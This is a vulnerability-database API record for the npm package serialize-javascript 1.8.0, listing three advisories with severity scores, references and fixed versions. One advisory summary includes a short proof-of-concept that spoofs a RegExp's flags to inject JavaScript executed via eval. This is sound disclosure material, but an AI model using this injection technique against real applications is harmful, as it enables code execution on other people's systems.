{"url":"http://public2.vulnerablecode.io/api/packages/245993?format=json","purl":"pkg:npm/serialize-javascript@1.8.0","type":"npm","namespace":"","name":"serialize-javascript","version":"1.8.0","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"7.0.5","latest_non_vulnerable_version":"7.0.5","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/52074?format=json","vulnerability_id":"VCID-abny-uv2k-5ye6","summary":"The serialize-javascript npm package is vulnerable to Cross-site Scripting (XSS). It does not properly mitigate against unsafe characters in serialized regular expressions. If serialized data of regular expression objects are used in an environment other than Node.js, it is affected by this vulnerability.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2019-16769.json","reference_id":"","reference_type":"","scores":[{"value":"5.4","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2019-16769.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2019-16769","reference_id":"","reference_type":"","scores":[{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61434","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61391","published_at":"2026-06-04T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61438","published_at":"2026-06-05T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61445","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61431","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00406","scoring_system":"epss","scoring_elements":"0.61414","published_at":"2026-06-08T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2019-16769"},{"reference_url":"https://github.com/advisories/GHSA-h9rv-jmmf-4pgx","reference_id":"","reference_type":"","scores":[{"value":"4.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-h9rv-jmmf-4pgx"},{"reference_url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-h9rv-jmmf-4pgx","reference_id":"","reference_type":"","scores":[{"value":"4.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-h9rv-jmmf-4pgx"},{"reference_url":"https://www.npmjs.com/advisories/1426","reference_id":"","reference_type":"","scores":[{"value":"4.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://www.npmjs.com/advisories/1426"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=1848092","reference_id":"1848092","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1848092"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2019-16769","reference_id":"CVE-2019-16769","reference_type":"","scores":[{"value":"4.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2019-16769"},{"reference_url":"https://access.redhat.com/errata/RHSA-2020:2796","reference_id":"RHSA-2020:2796","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2020:2796"},{"reference_url":"https://access.redhat.com/errata/RHSA-2020:4298","reference_id":"RHSA-2020:4298","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2020:4298"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/76337?format=json","purl":"pkg:npm/serialize-javascript@2.1.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-hz4d-au2h-p3d1"},{"vulnerability":"VCID-r3zs-5ud6-dud3"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.1.1"}],"aliases":["CVE-2019-16769","GHSA-h9rv-jmmf-4pgx"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-abny-uv2k-5ye6"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/52653?format=json","vulnerability_id":"VCID-hz4d-au2h-p3d1","summary":"Injection Vulnerability\nserialize-javascript allows remote attackers to inject arbitrary code via the function `deleteFunctions` within `index.js`.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-7660.json","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2020-7660.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2020-7660","reference_id":"","reference_type":"","scores":[{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86638","published_at":"2026-06-09T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86619","published_at":"2026-06-04T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86642","published_at":"2026-06-05T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86641","published_at":"2026-06-06T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86637","published_at":"2026-06-07T12:55:00Z"},{"value":"0.02901","scoring_system":"epss","scoring_elements":"0.86626","published_at":"2026-06-08T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2020-7660"},{"reference_url":"https://github.com/yahoo/serialize-javascript","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript"},{"reference_url":"https://github.com/yahoo/serialize-javascript/commit/f21a6fb3ace2353413761e79717b2d210ba6ccbd","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/commit/f21a6fb3ace2353413761e79717b2d210ba6ccbd"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=1844228","reference_id":"1844228","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1844228"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7660","reference_id":"CVE-2020-7660","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7660"},{"reference_url":"https://github.com/advisories/GHSA-hxcc-f52p-wc94","reference_id":"GHSA-hxcc-f52p-wc94","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-hxcc-f52p-wc94"},{"reference_url":"https://access.redhat.com/errata/RHSA-2020:2796","reference_id":"RHSA-2020:2796","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2020:2796"},{"reference_url":"https://access.redhat.com/errata/RHSA-2020:2861","reference_id":"RHSA-2020:2861","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2020:2861"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/77418?format=json","purl":"pkg:npm/serialize-javascript@3.1.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-r3zs-5ud6-dud3"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@3.1.0"}],"aliases":["CVE-2020-7660","GHSA-hxcc-f52p-wc94"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-hz4d-au2h-p3d1"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/50454?format=json","vulnerability_id":"VCID-r3zs-5ud6-dud3","summary":"Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()\nThe serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.\n\nWhile `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.\n\nIf an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.\n\n```javascript\nconst serialize = require('serialize-javascript');\n// Create an object that passes instanceof RegExp with a spoofed .flags\nconst fakeRegex = Object.create(RegExp.prototype);\nObject.defineProperty(fakeRegex, 'source', { get: () => 'x' });\nObject.defineProperty(fakeRegex, 'flags', {\nget: () => '\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"'\n});\nfakeRegex.toJSON = function() { return '@placeholder'; };\nconst output = serialize({ re: fakeRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\")}\nlet obj;\neval('obj = ' + output);\nconsole.log(global.PWNED); // \"CODE_INJECTION_VIA_FLAGS\" — injected code executed!","references":[{"reference_url":"https://github.com/yahoo/serialize-javascript","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript"},{"reference_url":"https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9"},{"reference_url":"https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7660","reference_id":"CVE-2020-7660","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7660"},{"reference_url":"https://github.com/advisories/GHSA-5c6j-r48x-rmvq","reference_id":"GHSA-5c6j-r48x-rmvq","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-5c6j-r48x-rmvq"},{"reference_url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq","reference_id":"GHSA-5c6j-r48x-rmvq","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq"},{"reference_url":"https://github.com/advisories/GHSA-hxcc-f52p-wc94","reference_id":"GHSA-hxcc-f52p-wc94","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-hxcc-f52p-wc94"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/74361?format=json","purl":"pkg:npm/serialize-javascript@7.0.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-vxen-xsat-mkah"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.3"}],"aliases":["GHSA-5c6j-r48x-rmvq"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-r3zs-5ud6-dud3"}],"fixing_vulnerabilities":[],"risk_score":"4.0","resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.8.0"}